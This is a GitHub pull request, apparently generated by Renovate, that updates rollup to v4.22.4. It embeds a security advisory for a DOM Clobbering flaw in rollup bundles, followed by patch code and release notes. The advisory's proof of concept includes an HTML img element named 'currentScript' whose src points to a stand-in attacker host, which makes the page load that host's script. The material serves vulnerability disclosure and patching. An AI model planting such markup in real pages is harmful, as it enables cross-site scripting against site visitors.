Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

Update dependency rollup to v4.22.4 [SECURITY] #32

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open

Update dependency rollup to v4.22.4 [SECURITY] #32

wants to merge 1 commit into from

Conversation

ata-no-one
Copy link

This PR contains the following updates:

Package Type Update Change
rollup (source) devDependencies minor 4.18.0 -> 4.22.4

GitHub Vulnerability Alerts

CVE-2024-47068

Summary

We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use import.meta.url or with plugins that emit and reference asset files from code in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadget found in rollup

We have identified a DOM Clobbering vulnerability in rollup bundled scripts, particularly when the scripts uses import.meta and set output in format of cjs/umd/iife. In such cases, rollup replaces meta property with the URL retrieved from document.currentScript.

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element (e.g., an img tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

PoC

Considering a website that contains the following main.js script, the devloper decides to use the rollup to bundle up the program: rollup main.js --format cjs --file bundle.js.

var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)

The output bundle.js is shown in the following code snippet.

'use strict';

var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);

Adding the rollup bundled script, bundle.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server due to the introduced gadget during bundling. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>rollup Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs, iife, or umd and use import.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.

const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
	getResolveUrl(
		`'${escapeId(relativePath)}', ${
			umd ? `typeof document === 'undefined' ? location.href : ` : ''
		}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
	);

const getUrlFromDocument = (chunkId: string, umd = false) =>
	`${
		umd ? `typeof document === 'undefined' ? location.href : ` : ''
	}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
		chunkId
	)}', document.baseURI).href)`;

Release Notes

rollup/rollup (rollup)

v4.22.4

Compare Source

2024-09-21

Bug Fixes
  • Fix a vulnerability in generated code that affects IIFE, UMD and CJS bundles when run in a browser context (#​5671)
Pull Requests

v4.22.3

Compare Source

2024-09-21

Bug Fixes
  • Ensure that mutations in modules without side effects are observed while properly handling transitive dependencies (#​5669)
Pull Requests

v4.22.2

Compare Source

2024-09-20

Bug Fixes
  • Revert fix for side effect free modules until other issues are investigated (#​5667)
Pull Requests

v4.22.1

Compare Source

2024-09-20

Bug Fixes
  • Revert #​5644 "stable chunk hashes" while issues are being investigated
Pull Requests

v4.22.0

Compare Source

2024-09-19

Features
  • Add additional known global values to avoid access side effects (#​5651)
Bug Fixes
  • Ensure deterministic chunk hash generation despite async renderChunk hook (#​5644)
  • Improve side effect detection when using "smallest" treeshaking preset when imports are optimized away (#​5658)
Pull Requests

v4.21.3

Compare Source

2024-09-12

Bug Fixes
  • Always respect side effects in left-hand side of optional chain (#​5642)
  • Update stack trace for augmented errors to not hide relevant information (#​5640)
Pull Requests

v4.21.2

Compare Source

2024-08-30

Bug Fixes
  • Handle IIFE/UMD namespace definitions conflicting with a builtin property (#​5605)
Pull Requests

v4.21.1

Compare Source

2024-08-26

Bug Fixes
  • Ensure closeWatcher hook is called when watch mode is aborted via Ctrl+C (#​5618)
  • Do not produce invalid code for import.meta.url in compact mode (#​5624)
  • Do not throw when generating chunk names when preserving modules in Windows (#​5625)
Pull Requests

v4.21.0

Compare Source

2024-08-18

Features
  • Add option to configure directory for virtual modules when preserving modules (#​5602)
Pull Requests

v4.20.0

Compare Source

2024-08-03

Features
  • Allow plugins to specify the original file name when emitting assets (#​5596)
Pull Requests

v4.19.2

Compare Source

2024-08-01

Bug Fixes
  • Avoid "cannot get value of null" error when using optional chaining with namespaces (#​5597)
Pull Requests

v4.19.1

Compare Source

2024-07-27

Bug Fixes
  • Do not remove parantheses when tree-shaking logical expressions (#​5584)
  • Do not ignore side effects in calls left of an optional chaining operator (#​5589)
Pull Requests

v4.19.0

Compare Source

2024-07-20

Features
  • Implement support for decorators (#​5562)
Bug Fixes
  • Improve soucemap generation when tree-shaking logical expressions (#​5581)
Pull Requests

v4.18.1

Compare Source

2024-07-08

Bug Fixes
  • Prevent "%" in generated file names to ensure imports resolve (#​5535)
Pull Requests

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻️ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR has been generated by Renovate Bot.

@ata-no-one
Copy link
Author

Edited/Blocked Notification

Renovate will not automatically rebase this PR, because it does not recognize the last commit author and assumes somebody else may have edited the PR.

You can manually request rebase by checking the rebase/retry box above.

⚠️ Warning: custom changes will be lost.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Reviewers
No reviews
Assignees
No one assigned
Labels
None yet
Projects
None yet
Milestone
No milestone
Development

Successfully merging this pull request may close these issues.
1 participant
@ata-no-one